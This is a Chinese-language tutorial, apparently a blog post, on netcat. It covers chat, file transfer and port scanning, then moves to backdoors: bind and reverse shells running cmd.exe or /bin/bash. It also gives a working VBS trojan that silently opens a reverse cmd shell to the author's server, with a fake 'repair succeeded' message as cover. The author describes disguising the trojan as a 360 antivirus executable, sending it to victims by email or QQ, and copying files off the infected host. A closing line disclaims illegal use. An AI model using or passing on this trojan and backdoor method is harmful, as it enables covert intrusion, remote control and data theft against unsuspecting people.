nc语法和功能学习
-
基本使用
-
-l 监听 -p 端口
例如:建立聊天通信功能
PC1:nc -l -p 4444 监听444端口 创建服务端
PC2:nc 172.16.20.2 4444 创建客户端
- -e prog 程序重定向,一旦连接,就执行 [危险!!]
实现客户端控制服务端cmd
-
netcat文件传输
-
使用场景
-
文件传输使用方法
-
实现客户端向服务端传输文件
- 创建服务端
-nc -l -p 4444 > outfile(文件名)
把监听4444端口的信息输出到outfile文件
- 创建客户端(连接服务端)
-nc 172.16.1.1 4444 <infile(文件路径)
把infile文件发送到对应ip的端口
-
实现服务端向客户端传输文件
- 创建服务端
-nc -l -p 4444 <infile
- 创建客户端(连接服务端)
-nc 172.16.1.1 4444 >outfile
注意:如果网络延迟大,客户端没有联机成功会造成假死,为避免这种情况,
-nc -w3 172.16.1.1 4444 设置限制时间3s
-
-
信息探测
- 使用场景
- 端口扫描方法
所有端口扫描:-nc -v -n -z -w1 172.16.1.1 1-65535
- Banner抓取方法
-nc -n -v -w1 172.16.1.1 1-1000
-
建立后门
- 使用场景
-
windows建立后门
-
监听型后门:
-nc -l -p 4444 -e cmd.exe 客户端控制服务端
-
连接型后门:
-nc 172.16.1.1 4444 -e cmd.exe 服务端控制客户端
-
-
linux建立后门
-
监听型后门:
-nc -l -p 4444 -e /bin/bash
-
连接型后门:
-nc 172.16.1.1 4444 -e /bin/bash
-
-
命令参数
利用nc做小木马
1.原理
都知道nc有很多功能,其中最好玩的就是建立后门和文件传输。但是主机都有防火墙,未知的端口不得访问,所以我们就要让目标访问自己来绕过其防火墙,也就是自己做监听,目标做连接并返回cmd或者bash。
坑1:自己主机防火墙要开启对应端口,可局域网也可公网,公网远程攻击要自己搭一个服务器
坑2:目标主机可能没有nc,所以要在同目录加上nc程序(很小很小,所以为瑞士军刀)
2.简单实现
我用的是某云服务器,开放某某端口,
- 制作vbs脚本
Set ws=CreateObject("Wscript.Shell")
ws.run "cmd /k cd ./bin&& .
c.exe -t -d -e cmd.exe x.x.x.x 3333 ",vbhide
WScript.Echo("Program repair succeeded! ")
wscript.sleep 1500
主要功能cmd /k cd ./bin&& . c.exe -t -d -e cmd.exe x.x.x.x 3333
打开cmd并打开同目录下的bin文件夹,并且在此目录下执行 c.exe -t -d -e cmd.exe x.x.x.x 3333 命令,就是连接x.x.x.x 3333 端口
剩下两行都是用来伪装的,其他手段自行实施
结果
- 加壳转exe,伪装
我用的是vbs to exe
可以上网搜.ico程序图标来伪装
结果图:
我伪装成了360
接下来就是好玩得了
把我文件通过邮件、qq等途径发送
3.攻击过程
- 连接
服务器安全组开启3333端口
服务器开始监听端口
目标点击后
服务端会看到已经拿到目标主机的cmd
- 文件传输
服务器ssh在复制会话(xshell),端口对应的也要多开一个,就叫服务器2
服务器2监听传输文件到outfile
服务器1也就是那开始拿到目标shell的
再回到服务器2就可以当前目录下有outfile文件,传输成功
总结
反正拿了shell,你想干嘛就干嘛,本过程只用了nc,也可以结合其他工具远程控制,自己想象,不过!!!重点来了,还有一个问题就是exe程序免杀!我还在学习,还请各路神仙指教。
以上只供学习思路参考,请勿非法利用,网络安全法在心中。